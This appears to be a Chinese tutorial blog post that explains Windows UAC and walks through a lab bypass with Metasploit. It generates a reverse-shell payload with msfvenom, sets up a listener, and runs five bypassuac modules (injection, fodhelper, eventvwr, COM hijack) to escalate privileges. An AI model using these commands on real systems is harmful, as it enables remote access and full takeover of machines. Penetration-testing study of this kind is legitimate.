什么是UAC?

用户帐户控制,通常简称 UAC,是 Windows Vista 和 Windows Server 2008中引入的 Windows 安全组件。UAC 尽可能限制进程对管理级(特权)资源和操作的访问,除非用户明确授予这些权限。换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

image-20210721141732437

UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

一些没有管理员权限无法完成的操作:

  • 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
  • 加载设备驱动程序
  • DLL注入
  • 修改系统时间(时钟)
  • 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
  • 修改受保护的目录(例如Windows文件夹,Program Files)
  • 计划任务(例如,以管理员权限自动启动)

UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。

绕过UAC的方法

  • 攻击机:kali Linux 192.168.232.133
  • 靶机:windows7 192.168.232.135

首先通过exploit获得目标主机的meterprter。

生成木马

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.232.133 lport=4444 -f exe -o payload.exe

启用MSF监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.232.133
set lport 4444
run

投放木马并运行,获得meterpreter会话

image-20210721143926903

查看是否有system权限

1
2
getsystem
getuid

如果没有系统/管理员权限,那么就可以尝试绕过目标系统的UAC保护。

输入background将获取到的会话转入后台,更换其他exp进行提权操作。

方法一:Windows权限升级绕过UAC保护

此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。

1
2
3
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从下图可以看到,又建立了一个meterpreter会话2连接,现在输入getsystem和getuid两条命令来查看系统权限。

image-20210721144920680

方法二:内存注入

此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块使用反射DLL注入技术仅删除DLLpayload二进制文件而不是删除标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构(对于SYSWOW64系统也使用x64)。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

1
2
3
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

方法三:通过FodHelper注册表项

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

1
2
3
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

方法四:通过Eventvwr注册表项

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入自定义命令,这个命令将在启动Windows fodhelper.exe应用程序时调用来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

1
2
3
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

方法五:通过COM处理程序劫持

此模块将通过在HKCU配置单元中创建COM处理程序注册表项来绕过Windows UAC。加载某些高完整性进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话升级的payload。在payload调用后清除注册表项修改。此模块要求payload的体系结构与OS匹配,但当前的低权限Meterpreter会话的体系结构并不相同。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果限制cmd.exe访问,则此模块将无法正常运行。

1
2
3
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

参考

利用metasploit绕过UAC的5种方式